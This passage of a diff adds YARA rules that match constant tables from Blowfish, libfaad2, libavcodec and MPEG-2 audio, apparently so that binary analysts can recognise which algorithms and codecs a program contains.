19e733ff1934df04ddb553fe61711947cfa273ff2cfc0d2c386d33fed2cbea4ebdd333feece4217d2849d3feb7f21b3aeee953ff238f041461b6d3ff13163baba7b913fed922749f0e4da3fecdfc19c17225b3ff29eb851eb851f3ff24c21e1d2178f3fea1355475a31a53fed8b242070b8d03fef2372606fac603ff194f9c1f85d743feee996312f4cf53fef00de4c51116b3fec948ba83f4eca3ff2245e4e69f05f3ff1c474d9c6b0533fe600baa582dbe83fe966c2acb85a4f3ff06caff6d330943ff13afb7e90ff973ff2f6e935b91f713fea4c89b0ee49f53feb0e0a84be40423ff146c97d8cf3993fe3f7121ab4b72c3ff45198aeb80ed03fe71b36bd2b6f1a3fefb02d59d55e6c3ff2eedaa92e62133ff29567dbb16c1e3fe5ad1aeb3dd11c3ff33060bb2bba993fecddd8f92af9a93fec46bacf7446fa3fe2bf5f91600f343ff306cfc829cfdd3fec41248d7e02643ff2256bca5375c93fecce95faa8a82a3ff436295208e1503fefde97d06bbdbe3ff02d9274e22a2c3fed0025bfad29993feba0791c4b90213fe600f345069a4e3ff8fdf6db940fed3fea1afe1da7b0b43fe6763e4abe6a333fe945a5fc7e6b403ff34488c60cbf2b3fea4a38327674d13ff2b0c564f97edc3fec71e6cd29131f3feb8b7e4de3b8a23fee6c050bd87b573ff543bc4d22c8823fe62a6b0d9513f93fe8260f5e41d4b73ff189320d9945b73ff724345cfede983fee210e022142703fe6bb57c4e2f3803fe94743201040c03fea70cfe154434e3fe0a40d90e23af33ff4b039ef0f16f43fee0c3b0c4588a03fefb17481b21c473fecb5286b59146e3fed40e1719f7f8d3ff5bd3804534bd73fee76dfc5cdd50b3fedf5360d0247023fead0acc0bdcad13fe56d8b1dd5d3dd3ff4aa8c9b8455653fe7f969e3c968943ff2ae05ccc89b0f3ff0aea854477ff13fe715208e1501193ff0158c8eef1bac3ff40b06c43f5f913fec430f49491f2e3feb57603925bb7b3fdfde050374ff863ff38f648c7192ea3ff676965f5275ef3fe991e215336dec3fe98d9513f8db493fe964b87bdcf0303ff43b3b7521144d3feeafb5d031055c3feb009d495182aa3fed1dc93ea2d2fe3fec88d8ec95bff03ff5797fe8ee6b833fe85f505d0fa58f3fe84306e5cd4ed33fef98c197e564733ff022b8c75c4a843ff609363f572de43feb0f7121ab4b733feb1055b89939223fea4ffeb074a7723ff2c9f40a2877ee3fdd163baba7b9173fdbae9ab29e4d5e3fe6212b5e529bae3ff10f722e1ac57e3fec7f04577d95573feb12146a1a500d3ff202a8869c66d33ff569984a0e410b3ff343dccea28fe23ff9b80a9de8b3b33fe605ee568a50503fe0050df15a4acf3ff49d12cadddf443fe5ba30121682f93fe59958969a0ad93ff0c3a42f1ed17c3ff03524399b2c413fee8ccdd93c46d83fe9b3e35c5b4aa93ffbd3ad5bee3d603fed6ce358298cc13fe476bc1eff9f883fe8d475a31a4bdc3ff059e30014f8b63fefbcfd4bf0995b3fec677d523b36373fec0bdec5f394b83fe97f62b6ae7d563fe8ac42e9899bf63ff9ec3b927d45a63ff36322af5771003fe38642396073de3ff5f6e1deacc9213ff0ead9274e22a33fe3c7b02d59d55e3fe4936a400fba883fe55bb384fd2a633fe55147f13059643fe5a86d71f362633ff384ec636b09633feb039cd8127b2d3ff043ff69014b5a3febc1c1d6cf850e3ff01b035bd512ec3fee1702e6644d873fec9a7c17a893323feed154866a11ed3fe75f8d2e514c233ff494a4d2b2bfdb3ff4072e275ab7dc3ff0138151a437823fe8de43ed959a313ff342e1262025393fe50114d2f5dbba3fe507d2c7b890d63ff3bb60285ec3db3febfe5a78f25a253ff1b5158b827fa23feb5e353f7ced913ff594c33b5393253fe95790752da9863ff07df8f47304043fe87d73c92578603ff03d30ad46f5883ff0b570c564f97f3fe7ed02cd39da163ff4f465625a682b3feb53415b1422cd3fe723d9231c64bb3ff43442c7fbacb43ff1c140dd3fe1973fe5810a569b17483ff1c262456f75da3fea7bc3c5bd0e133ff45ce8d972cd7d3fe5785d744f5d353ff1173d9ec700043fe81491f2dc2b0f3fec1a3d2d87f8873ff1bc6eb0b7c3503ff402ea960b6fa03fe3d75c0767d34e3fe8142d490e66cb3ff707075b3e14383fec81a9b8cb8e083ff04af4f0d844d03fe793964a59c0663fed22d948dc11e43feb2bf9830e3cda3ff38fb97bb730833ff1578705425f203fe417b5286b59143ff267cd035371973ff609a34ca0c2833fe925093964a59c3fe5c1bda5119ce03fecbbe6601bc98a3feb583c6c97d8cf3fed76e82949a5653ff538b9baa1511e3ffb0b6d86ec17ec3ff30579f23465623fe30c8abd5dc4003fe344c5974e65bf3fe40f2becedd4843fe5a49a133c1ce73fea88e79aae6c8f3fe92647fdc5931d3fe996d2aa5c5f7c3ff7ff10ecb74de03ff66809d495182b3fe4fcfa26a22b393fec8fe47991bc563ff16cb10342aa9f3fe67ac3eb7cbb3d3feabe74afd545413fe99a5a89b951c63fe76681a9b8cb8e3feabf0563ed0f623ff206d0d49949e93ff5a71476af89c63fecbe963dc486ad3fecbb59ddc1e7963fede71ac14c660a3ff00cc6822ff0893fef7064ece9a2c63fea1bbcf4e874c93fee7995ee136e723fea9de481f538263ff5104b3c3e74b03ff0f5ed8d36b4c83fe55d69d30270f43ff10be9424e59293fed21cef240fa9c3ff008b0079a28353ff56cb966be7afa3fe6bed740c4156e3fe70c9fb6134ce43fea093532e7b3d93fef3cfb3311a5443ff609bf9c62a1b63ff123e39f77292c3fe94422036006d13ff15ff609dcf8943ff40f96e158750c3ff0489c1b54195d3fe702730c6716903fe1f87ce95faa8b3fe6278f25a250f83ff33ef39085f4a13ff0f1b25f633ce63feecff0025bfad33fefff562174c4ce3fe0cbf4cb1897a63ff131476af89c5e3ff1755043e5321e3fed24db163baba83ff0b6577531db443feb8370cdc8754f3ff69fa54c5543283feac5c9a34ca0c33fe55336deb95e5b3ff0a262cba732df3ff168cdea033e793fea3f37b8d3f1843fea1fb6134ce3de3ff0c9bc771433943ff15512ec6bce853fec328f9f44d4453ff635a1016ce78a3fe9d3d859c8c9323fe9028c36da87a03feedb1209edbf8c3fef2761027957043ff23566490a350d3ff06d7f950b955f3fef11ba3ca7503c3febba0c6b484d773feae9f05ea24cc73ff74c176577531e3fef6ddf00abf76a3fe1db1422ccb3a23fe7a34a87e38eb03ff602235b4edb2f3fe8b7ae5796bfcb3fe49f23465625a73fee797aaac1094a3fee8c564f97edc83ff01337eb28d8663ff9b30728e92d563ff386f8ad2567993fe79f666234a87e3fe7d6c0d6f544bb3fe5186b9c304ccf3fea05a921ccd9623fedd4195cc857f33fed87faa044ae863fee98def416bdb23fec8beb5b2d4d403ff2078854cdb7ae3ff09be1a82624573fedef32bdc26dce3ff033f63c31df763ff14a4d2b2bfdb53fec4c7f349385833ff206034f3fd9343ff13b56b87379743fea26b2f23033a43fe7907314ca92603ff37213e3e293083feb0f2becedd4843fea899e0e73604a3ff34790b84988093fec874a771c970f3fede6dbd72bcb603fec68448cf7caa73fee0bac710cb2963fee956e264e48623ff1d389b52007dd3ff34d5c74751ce33fef4aa7589efd873ff0d1b60ae9680e3feb21a0cf1800a83fee12817763e4ac3ff410d49949e8813fef0d32830a0b1c3fecd551d68c692f3feb029f16b11c6d3fea39b456b441bc3ff35256798958da3fef3e09bb6aa4ba3feaebfca85caafc3febd97f62b6ae7d3fec13d74d594f273fef9f080303c07f3fedd099e0e736053ff081bfbdf090f73ff3495af294dd723fececc3e3193f6c3ff185a708ede54b3ff1ae9bbf0dc7693fe72187a4a48f973fee2e87d2c7b8913ff362120e1f7d743ff2dc9d5a187a4a3fe44bcad9ad85e03febdeaee2003ab83ff03008a697aede3fedf7574f722e1b3ff083211cb039ef3feff5a31a4bdba13fe5f5dbb9cf9a073ff19b413986338b3ff05b8dc55000c93ff38ef459d9902a3ff258d6909aed573fea03211cb039ef3fedab0a6fc58ab93fe9a51a005c46523ff21c63ae2541d93ff7d5f88fc9363f3fe5b0c026cc1ca43fe38b1feeb2d0a23fe84b85a4f00ef13fe9dc22ab25b3183ff0ae147ae147ae3ff13beec39799e53ff0924bfd2e94683fed03fb3743632c3ff57ae5796bfca83ff137ff151e75363fe2ab367a0f90973fe879fa97e132b53fea2dd9c27e95313ff4b1c970f7b9e03ff0ee631f8a09033feb45b4aa9717df3feead3a604e1e713febeeb2d0a244633ff4efb2aae297393ff383d89ce4a7b53fedf034b0e1b4bb3fe6e0242d05f2883ff211697f1f9ad03feb6c15d2d01c0d3fed77d955714b9d3fef31d712a0ec743fea4942d490e66d3feb223e186983513ff5f623076c050c3fec6392e1ef73c13fe6be5109070fbf3ff07a355043e5323ff4765cb35f3d7d3fe4cdc65c70435f3ff22f51266341183fec382e44b6e9363feb3395c42203603fea3c9cd3e0bd453ff051bd61f5be5e3ff61c714fce746d3ff16cce5f7403de3fe27559b3d07c853fe309b0ee49f5173fe81083dbc233163ff43ff9b56323bc3ff2128e0c9d9d343febc58ab92c06183fe8947496aad1d03ff27a52ac753e703ff11d0b73d188f43fed3f37b8d3f1843fe979b13165d3993fe949c4da9003ef3feb55a7d24180d43ff861ea35935fc43feb6c4a4095f2453fec6a0dbad3a6053fe8369984a0e4113febfe69270b06c43ffa5409a24031483feab2617c1bda513ff9404a72ead9273feced8904f6dfc63fe18155d5f56a7b3fe218bd66277c463fe6881a1554fbdb3fe650331e3a7daa3fe6d755bccaf70a3ff274666ec9e2373ff185c67dfe32a03febdba908a265f13ffa7de3fbbd7b203ff1263f9a49c2c23fe9cc78e9f6a93f3fe370f5a1016ce83fe223b57c4e2f383fe5de7210be94253fea71f9acffa7eb3fea9670196d8f503ff72e935b91f70e3ff03b6cbd987c633fee0c9107faa0453ff92f3a14cec41e3fe97cd898b2e9cd3fe4f48c2e770bd03fe1e0bf5d78811b3fe487f455a7d2423fe9821af7d30ad43ff2035ac8a372603ff657d9dba908a23fe7e1e2de8709743ff4bb2cc70867ae3ff232fba01eeed93ff4d3ab430f49493fe2647991bc55863fdf21d96e9bbf0e3fdf4f1e4b44a1f13fe375ddd2ae8e1d3feaa4c61d8622c43fe9b009b30728e93ff25f5275ee99a63ff51082cf52b90a3ff4e452c59fb1e23fe64b1897a67a533fee19fa11a975b03feb247021d10b203febed20296b33553feb3df090f733a93ff42a19439de4823feeabc2fc69728a3fe55a14488c60cc3ff680c1fc8f32383feb7dae81882adc3fe1168d759ee88e3fdf113404ea4a8c3fe7297bfa4c61d83ff6b1704ff4341a3fee3b927d45a5fc3fec669f05ea24cc3ff54a7503b81b653ff100d5e8d541103fe1afa0d77b7c783ff19552e2fbe33b3fed5cb5781c71503febfdcdf69878313ff133e78e1932d73feb100e6afcce1c3ff04ffc9795b35b3fed006d0d49949f3ff53ae46cfc829d3fe43a6266fd651b3fe904a515ce9e5e3ff1c8fb86f47b673fe81d8a548238543fecae147ae147ae3fee4286f8ad25683fef029068986fce3ff4df69878316a03fc4f75536933a043ff9dc33721d53ce3fe0abc2fc69728a3ff3ea2f48c2e7713fe322b3892ee84b3ff2c9a34ca0c2833fe9b0014f8b588e3ff1440e1719f7f93fec91d14e3bcd363fec1554fbdad7523fe6f518b0d0edc43ff13505d0fa58f73fefe9185cee17a03ff34ee5abc0e38a3ff4fe63e8dda48b3ff50e8a71de69ad3fe64a70d1fa33373fe7da6c5d206c873fe7abf3387160953fe7680389f83be63fd5b97fe8ee6b833ffd3e132b55ef203fe5e9dd7ecbb7fa3fe6ee0d23d4f15e3fe5a27ae9ab29e53ff14c586876e1df3feca1a0cf1800a83fee8ae31d712a0f3fee575e2046c7653fed22a0a958537e3febab5a20ddc6193ff7390539fba4513fe737a5f41aef703ff2d1394317acc53ff35aac53b0813d3ff1568d759ee88e3ff29e5d18090b413fe532441fea81133fe00f40e5a35d683fddadafd113836b3fe20c1b97353b4b3ff22b12d3415b143feab8887229e9083ffbc8259e1f3a583ff0008fa7a850163fe9c58255b035bd3fea830a0b1bbcf53feaac8c5004fb123fe8d742dcf4623d3fe9c4156e264e483ff02512a94ff0023ff5c3dbc23315d73fe56260b2c83ec93ff6aef8055fbb513ff84c47a17f41293fe46a9c560c7c0f3fdc9a5ebb7739f33fdfcb923a29c77a3fe6323dd54da4cf3fe742edbb59ddc23fc7dd441355475a3ffa008c8259e1f43feaba647fdc59323ff2cffc9795b35b3feb8a43bb40b34e3fec529fe004b7f63ff0309a671ef30a3fe941f85d744f5d3ff029e90795f6773fe9adab9f559b3d3fe4dfbb517a46173ff99606317268d33fe32f3c2dadb8353ff0ee72da122fad3fe9a7f5e84f09533fefc523f67f4dbe3ff2566490a350d33fea8c34c1a8ac5c3fee0e27e0ef99803feace0daa0cae643fe8501e2584f4c73ff6644523f67f4e3fef9832fcac8e693ff065add9c27e953fef2ec28b2a6b0e3fe1a3cea6c1a0493ff269e3c968943e3feb09e12a51e3223ff044b1ab0856e73fed9e40c8472c0e3ff11df548ecd8dc3ff292231832fcad3fe9b4395810624e3ff31719f7f8ca823ff1cca600b029283fe7d4f9c1f85d743ff121af7d30ad473fe7ae0c176577533fed96f0068db8bb3fee2b21815a07b33ff2b23ee1bd1eda3ffa229307af20ea3fe8cafb3b7521143fe7940fecdd0d8d3ff16d99cbee807c3ff0e9a4df47f9943fe912a737110e453fe61ff92f2b66b63fe8f238972042963fe74fc3f811f4f53ff4d43e100607813ff92aa2a0a958533fe0d60a633051013fe1db5b70691ea83fe5221426fe718b3ff1408fa7a850163ff16fb6dca07f673fe6fe4de3b8a19d3fe81c1f85d744f63feee40a6b93ccd13fec8995aaf78fef3ff4325e56cd6c2f3fed2b606b7aa25e3ff36cf7446f9b993fe8d512ec6bce853fee3d5347a5b0ff3ff2386a098915be3fe8bac2df0d41313feea38b8ae31d713fec54a7f8012dfd3ff38115df6555c53ff0c767d34df04e3fee2e83a109d0633ff268b8f14db5953feacf7446f9b9953fe21e83e425aee63fe524fa8b4bf8fd3ff3811e42e126203ff04e3369b9d7fe3fefa39e6ab9b23e3fed9df761cbccf33ff59a437824d4cc3ff2a12d77318fc53fe15dc1e7967caf3ff3a469d7342edc3fe334dcebfec13c3ff34adeebb341e13fe675ee99a62ed33feddac68a936c593fea184c271fff7a3ff04e5b4245f5ae3ff4adf82b1f687b3fe97fc5479d4d833fea3b18dac258d63ff4113c68661ae73fe0b4bb5e0f7fd03ff4b18eb89507643fea5b0ff10ecb753feaa6ce358298cc3fec7b00bcbe61d03fe5f6e3f78bbd383ff88d5d80e496ee3ff05f53825e13b23ff10b3700474d9c3fe8a372606fac603fed46d612c6ac213feea9c99285a9223feee9552e2fbe343feb204d12018a443fec08e581cf78793fe1ef0068db8bac3ff5256abde3fbbd3feacd50ebaade653ff1b10dbf0563ed3fe9a06c8711d7993fee7a52ac753e703fe591148fd9fd373ff53d72bcb5fe543fe9d2007dd441353ff22b8e8ea39c523fe71ce075f6fd223ff7b713272431383ff44e5f7403dddb3fe640e9d51b4fe83fe78049667b5f1c3ff3db0142f61ed63febf5c28f5c28f63fea681cb46bacf73fe96ad2dcb1465f3feae1bb05faebc43ff05a2c669057d13ff68881e4712e413fe6775536933a043feeed634549b62c3fe7c0a06e9ff0cc3ff34677b395c4223fe448c9320d99463fec6e935b91f70e3fe6d24180d3cff63ff3b2cd7cf5f4e43fe068ff327aa68f3ff30050bd87b56c3fee147064ece9a33ff45e731d2e0e303ff4308cc575c0763fec033e78e1932d3fec4f1c3265adda3fedb704790b84993fecd2b4d8ba40d93fec29e0a41a261c3fe90259e1f3a57f3ff394141e9af5ba3feb5ab7dc7abfba3fef1f87f023e9ea3ff58de6ddf00abf3fe9d4cdb7ae57973fed2c98e53eb39a3fee9f14983d79073fefb039ef0f16f43fec964840e1719f3fd6f71a7e3087873ff99fea8112ba173ff20332f01754b03fe7630caa326e113fe97487fcb923a33feb663a5c1c60893ff1221101b003683febd3c579f234653ff0b293d102bc733fecb0ad46f587d73fea495e17e34b943ffad2428d434a023fedd15ce9e5e2483fe7afcce1c582563fee4bdfd2630ec33fed5b8bac710cb33fedf820a30db6a23fec4f6598e10cf63febe8b7e4de3b8a3fea7bdad7518b0d3ff2228bb0a2ca9b3ff11adb8348f53c3fe41e603d5779643ff591dde37585be3ff0634b945308bc3fe73e1eb4202d9d3fdf0a73f748a15a3fe09116a8b8f14e3fea0318b93469943ff7bc0b135979183ff7082be8bc169c3fd9b9c304ccee5b3fe68a0d349be8ff3ff2f824d4cb9ecf3ff32675147f13063fec9eecbfb15b573fe864d3bf2f55583febe73e681a9b8d3ff012b90a7829073feee1e2de8709743ff5b1971c10d7bf3ff37c169c23b7953fe3f127f5e84f093fe4083126e978d53ff14b08dd1e53a83ff716b00ffda4053fe61641f644955b3fe5a5a469d7342f3fe811c087442c803fec81a1554fbdad3ff625b20b8066c33fec97ebaf1023643fe24c5974e65bea3ff6c0b242070b8d3ff0df0e4da09cc33fecb40f66a550873fedbeb9e492bc303fe8f46aa087ca643fea21d323fee2ca3fe8cb252ce032db3ff45debd9018e753fe9d755bccaf70a3fee34245f5ad96a3ff296d2aa5c5f7c3ff1c1450efdc9c53fec446d82ba5a043fe8393ccd0fe8ab3ff2eededaec4a413fe95c26dce39b453fea3358f2e05ccd3ff5e512a94ff0023fee143bf727136a3fedac8e68e3ef283ff5f5c39bcba3013feef064ece9a2c63fe52da122fad6cb3fea29888f861a613fea04ddb5525cc43febfd08d4bad7d83fecfbe9856a37ac3ff3c08fa7a850163fe9ff21b3aeee953ff17a0d77b7c7823fee9fbc5de9c023 }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_bfp_table__32_lil_72_
+{
+strings:
+	$a0 = { 886a3f24d308a3852e8a191344737003223809a4d0319f2998fa2e08896c4eece62128457713d038cf6654be6c0ce934b729acc0dd507cc9b5d5843f170947b5d9d516921bfb7989 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_freq_scale__8_byt_18_
+{
+strings:
+	$a0 = { 0000010102020303050507070a0a0d0d2e17 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_8x8_73__8_byt_64_
+{
+strings:
+	$a0 = { 00370e44033a114825123220281636230940053b0d43083f2e1b2917311f2c1a0239104701380f4627153422261333210b42073e0a41063c301e2b192f1d2a18 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_4__16_lil_32_
+{
+strings:
+	$a0 = { e7aba8bb1cc826d30eddd4e522ee18f628fe4f06b70eb817aa218b2da23bf94d }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_sfb_16_120__16_lil_30_
+{
+strings:
+	$a0 = { 040008000c001000140018001c002000280030003c00480058006c007800 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_512__flt64___64_big_8192_
+{
+strings:
+	$a0 = { 3ff000000000000000000000000000003fefff62200000033f8921d1ffffffa03feffd88600000003f992155ffffffab3feffa72e00000043fa2d8657fffffcd3feff621dfffffff3fa91f65ffffffd53feff095600000043faf656e9fffffc83fefe9cda00000043fb2d5209fffffeb3fefe1cafffffffe3fb5f6d0200000093fefd88da00000043fb917a6c000000f3fefce15fffffffc3fbc3785bffffff13fefc2647ffffffc3fbf564e5fffffec3fefb579800000033fc139f0e00000103fefa7557ffffffd3fc2c8105ffffff23fef97f91ffffffd3fc45576bffffffa3fef8765000000043fc5e2146000000f3fef7599a00000003fc76dd9e00000043fef6297bffffffd3fc8f8b84000000a3fef4e60400000003fca82a0400000123fef38f39ffffffe3fcc0b825ffffff93fef2253000000013fcd934ffffffffe3fef0a7f000000023fcf19f99ffffffc3feef1789ffffffe3fd04fb81fffffff3feed740dffffffc3fd111d2800000023feebbd8c00000043fd1d344400000063fee9f41600000043fd29406200000003fee817ba00000013fd35410c00000013fee6288e00000003fd4135c9ffffffb3fee426a3fffffff3fd4d1e25ffffffe3fee2121000000033fd58f9a7ffffffd3fedfeae600000033fd64c7ddffffff93feddb13c00000043fd708853ffffffb3fedb652600000003fd7c3a9400000013fed906bbffffffd3fd87de2bffffffb3fed6961800000023fd9372a800000033fed4134bffffffe3fd9ef795ffffff83fed17e75ffffffe3fdaa6c83ffffffe3feced7b000000003fdb5d10000000073fecc1f1000000003fdc1249dffffffe3fec954b200000003fdcc66e9ffffffe3fec678b400000023fdd79775ffffffc3fec38b2e00000043fde2b5d3ffffffc3fec08c4200000043fdedc193ffffffa3febd7c0a00000013fdf8ba5000000043feba5aa600000013fe01cfc7ffffffd3feb72833fffffff3fe073879ffffffd3feb3e4d3ffffffe3fe0c9705fffffff3feb090a5ffffffd3fe11eb3600000033fead2bc9fffffff3fe1734d600000003fea9b661ffffffc3fe1c73b400000043fea6309000000023fe21a799ffffffc3fea29a7a00000023fe26d055ffffffd3fe9ef43e00000003fe2bedb400000003fe9b3e0400000003fe30ff7fffffffd3fe9777f000000023fe36058a00000023fe93a223ffffffc3fe3affa3ffffffd3fe8fbcc9ffffffd3fe3fed95ffffffc3fe8bc805ffffffd3fe44cf3400000013fe87c40000000003fe49a44a00000033fe83b0e000000013fe4e6cac00000033fe7f8ecdffffffd3fe532829ffffffd3fe7b5df1fffffff3fe57d69400000013fe771e75ffffffe3fe5c77bc00000033fe72d083ffffffe3fe610b7600000053fe6e7443ffffffd3fe65919400000033fe6a09e5ffffffc3fe6a09e5ffffffc3fe65919200000013fe6e7445fffffff3fe610b7400000023fe72d083ffffffe3fe5c77bc00000033fe771e75ffffffe3fe57d691fffffff3fe7b5df400000013fe53282800000043fe7f8ecdffffffd3fe4e6caa00000013fe83b0e200000033fe49a44a00000033fe87c40200000023fe44cf31fffffff3fe8bc805ffffffd3fe3fed9400000033fe8fbccbfffffff3fe3affa200000043fe93a223ffffffc3fe36058a00000023fe9777f000000023fe30ff7fffffffd3fe9b3e0400000003fe2bedb1ffffffe3fe9ef43e00000003fe26d05400000043fea29a7a00000023fe21a799ffffffc3fea6309200000043fe1c73b200000023fea9b663ffffffe3fe1734d600000003fead2bc9fffffff3fe11eb3600000033feb090a5ffffffd3fe0c9703ffffffd3feb3e4d3ffffffe3fe07387800000043feb7283600000013fe01cfc9fffffff3feba5aa600000013fdf8ba4dffffff93febd7c0a00000013fdedc19200000013fec08c43ffffffd3fde2b5cdfffffff3fec38b2fffffffd3fdd79775ffffffc3fec678b400000023fdcc66e800000053fec954b200000003fdc12499ffffffa3fecc1f1000000003fdb5d10200000003feced7b000000003fdaa6c8200000053fed17e7800000003fd9ef79200000063fed4134e00000003fd93729fffffffb3fed6961800000023fd87de2a00000023fed906bbffffffd3fd7c3a8fffffffd3fedb652600000003fd70884dffffffe3feddb13c00000043fd64c7ddffffff93fedfeae600000033fd58f9a600000043fee2121000000033fd4d1e2000000013fee426a600000013fd4135c3ffffffe3fee6289000000023fd35410c00000013fee817ba00000013fd29406000000073fee9f41600000043fd1d343e00000093feebbd8dffffffd3fd111d25ffffff73feed740dffffffc3fd04fb8000000063feef1789ffffffe3fcf19f8fffffffb3fef0a7f000000023fcd93501ffffff73fef2253000000013fcc0b82400000003fef38f39ffffffe3fca829fc00000093fef4e60400000003fc8f8b7800000103fef6297dfffffff3fc76dd9e00000043fef7599a00000003fc5e213ffffffff3fef8765000000043fc455761ffffff93fef97f91ffffffd3fc2c810a00000083fefa7557ffffffd3fc139f09ffffffa3fefb579800000033fbf564d7ffffff93fefc2647ffffffc3fbc37843ffffffd3fefce15fffffffc3fb917a69ffffff23fefd88da00000043fb5f6cf5fffffeb3fefe1cafffffffe3fb2d51f5fffffe83fefe9cda00000043faf656ee00000023feff095600000043fa91f651fffffe23feff621dfffffff3fa2d8638000003d3feffa72fffffffd3f99214fc00000303feffd88600000003f8921d0bfffff0e3fefff6220000003be6777a5bd6ad3cd3ff0000000000000bf8921dc7fffff063fefff6220000003bf992155a000002c3feffd8860000000bfa2d8665fffffc13feffa72e0000004bfa91f681fffffcb3feff621dfffffffbfaf6571c00000163feff09560000004bfb2d520c00000083fefe9cda0000004bfb5f6d0dfffffdf3fefe1cafffffffebfb917a81fffffe63fefd88da0000004bfbc3785bffffff13fefce15fffffffcbfbf564ee00000193fefc26460000003bfc139f15ffffff43fefb57960000001bfc2c811400000093fefa7557ffffffdbfc45576dffffff33fef97f91ffffffdbfc5e214bffffffa3fef876500000004bfc76dda9fffffff3fef7599a0000000bfc8f8b84000000a3fef6297bffffffdbfca82a0800000043fef4e6040000000bfcc0b82fffffffb3fef38f39ffffffebfcd9350bffffff83fef2252dfffffffbfcf19f99ffffffc3fef0a7f00000002bfd04fb83ffffff83feef1789ffffffebfd111d2c00000063feed740dffffffcbfd1d344400000063feebbd8c0000004bfd29406600000043fee9f4140000002bfd354111ffffffe3fee817ba0000001bfd4135c800000023fee6288e0000000bfd4d1e25ffffffe3fee426a3fffffffbfd58f9ac00000013fee212100000003bfd64c7e400000083fedfeae40000001bfd708853ffffffb3feddb13c0000004bfd7c3a95ffffffa3fedb65260000000bfd87de2ffffffff3fed906bbffffffdbfd9372a5ffffff83fed696180000002bfd9ef795ffffff83fed4134bffffffebfdaa6c7fffffffa3fed17e780000000bfdb5d10000000073feced7b00000000bfdc1249dffffffe3fecc1f0dffffffebfdcc66ec00000093fec954b20000000bfdd7977bffffff93fec678b20000000bfde2b5d9ffffff93fec38b2e0000004bfdedc19dffffffb3fec08c400000002bfdf8ba4c00000003febd7c0c0000003bfe01cfc7ffffffd3feba5aa60000001bfe073879ffffffd3feb72833fffffffbfe0c9705fffffff3feb3e4d1ffffffcbfe11eb37ffffffc3feb090a40000004bfe1734da00000043fead2bc7ffffffdbfe1c73b7fffffff3fea9b6600000003bfe21a79800000033fea630920000004bfe26d05400000043fea29a7a0000002bfe2bedb400000003fe9ef43e0000000bfe30ff81fffffff3fe9b3e040000000bfe36058dffffffd3fe9777ee0000000bfe3affa5fffffff3fe93a2220000003bfe3fed9a00000003fe8fbcc60000002bfe44cf31fffffff3fe8bc807fffffffbfe49a44a00000033fe87c4000000000bfe4e6cac00000033fe83b0e00000001bfe532829ffffffd3fe7f8ecc0000004bfe57d69600000033fe7b5defffffffdbfe5c77bfffffffe3fe771e720000003bfe610b7a00000003fe72d0800000003bfe65919200000013fe6e7445fffffffbfe6a09e5ffffffc3fe6a09e5ffffffcbfe6e7445fffffff3fe6591920000001bfe72d08600000003fe610b740000002bfe771e7800000003fe5c77ba0000001bfe7b5df600000033fe57d68fffffffdbfe7f8ed200000013fe5328240000000bfe83b0e000000013fe4e6cac0000003bfe87c40200000023fe49a44a0000003bfe8bc807fffffff3fe44cf31fffffffbfe8fbccbfffffff3fe3fed940000003bfe93a225ffffffe3fe3affa00000002bfe9777f200000043fe3605880000000bfe9b3e0800000043fe30ff7a0000000bfe9ef43e00000003fe2bedb1ffffffebfea29a7a00000023fe26d0540000004bfea6309200000043fe21a7980000003bfea9b663ffffffe3fe1c73b20000002bfead2bcc00000013fe1734d1ffffffcbfeb090a7fffffff3fe11eb2fffffffdbfeb3e4d800000023fe0c97000000002bfeb72833fffffff3fe073879ffffffdbfeba5aa600000013fe01cfc7ffffffdbfebd7c0c00000033fdf8ba4a0000007bfec08c43ffffffd3fdedc1900000008bfec38b31fffffff3fde2b5cc0000006bfec678b600000043fdd7976bffffffabfec954b200000003fdcc66ec0000009bfecc1f1000000003fdc1249dffffffebfeced7b000000003fdb5d0fdffffffcbfed17e7800000003fdaa6c7e0000001bfed4134e00000003fd9ef78e0000002bfed6961800000023fd93729e0000002bfed906c000000013fd87de200000001bfedb652600000003fd7c3a95ffffffabfeddb13c00000043fd708853ffffffbbfedfeae600000033fd64c7dc0000000bfee21211ffffffc3fd58f9a3ffffff9bfee426a600000013fd4d1e1e0000008bfee6289000000023fd4135bfffffffabfee817bc00000033fd3541020000000bfee9f41600000043fd2940660000004bfeebbd8c00000043fd1d34440000006bfeed740dffffffc3fd111d23ffffffebfeef1789ffffffe3fd04fb7c0000002bfef0a7f000000023fcf19f8a0000010bfef2253000000013fcd934ebffffffcbfef38f3c00000003fcc0b80fffffffebfef4e60400000003fca82a06000000bbfef6297dfffffff3fc8f8b820000011bfef7599a00000003fc76dd97ffffff5bfef8765000000043fc5e2139ffffff0bfef97f91ffffffd3fc45575c000000ebfefa7557ffffffd3fc2c80f4000000dbfefb579800000033fc139ef3fffffffbfefc264600000033fbf564ebffffffcbfefce15fffffffc3fbc3785a000001cbfefd88da00000043fb917a5fffffff1bfefe1cafffffffe3fb5f6cea0000015bfefe9cdbffffffd3fb2d51ea0000012bfeff095600000043faf656960000015bfeff621dfffffff3fa91f5f9ffffff5bfeffa72e00000043fa2d86600000042bfeffd88600000003f992154c0000039bfefff62200000033f8921cadfffff123ff000000000000000000000000000003feffd88600000003f992155ffffffab3feff621dfffffff3fa91f65ffffffd53fefe9cda00000043fb2d5209fffffeb3fefd88da00000043fb917a6c000000f3fefc2647ffffffc3fbf564e5fffffec3fefa7557ffffffd3fc2c8105ffffff23fef8765000000043fc5e2146000000f3fef6297bffffffd3fc8f8b84000000a3fef38f39ffffffe3fcc0b825ffffff93fef0a7f000000023fcf19f99ffffffc3feed740dffffffc3fd111d2800000023fee9f41600000043fd29406200000003fee6288e00000003fd4135c9ffffffb3fee2121000000033fd58f9a7ffffffd3feddb13c00000043fd708853ffffffb3fed906bbffffffd3fd87de2bffffffb3fed4134bffffffe3fd9ef795ffffff83feced7b000000003fdb5d10000000073fec954b200000003fdcc66e9ffffffe3fec38b2e00000043fde2b5d3ffffffc3febd7c0a00000013fdf8ba5000000043feb72833fffffff3fe073879ffffffd3feb090a5ffffffd3fe11eb3600000033fea9b661ffffffc3fe1c73b400000043fea29a7a00000023fe26d055ffffffd3fe9b3e0400000003fe30ff7fffffffd3fe93a223ffffffc3fe3affa3ffffffd3fe8bc805ffffffd3fe44cf3400000013fe83b0e000000013fe4e6cac00000033fe7b5df1fffffff3fe57d69400000013fe72d083ffffffe3fe610b7600000053fe6a09e5ffffffc3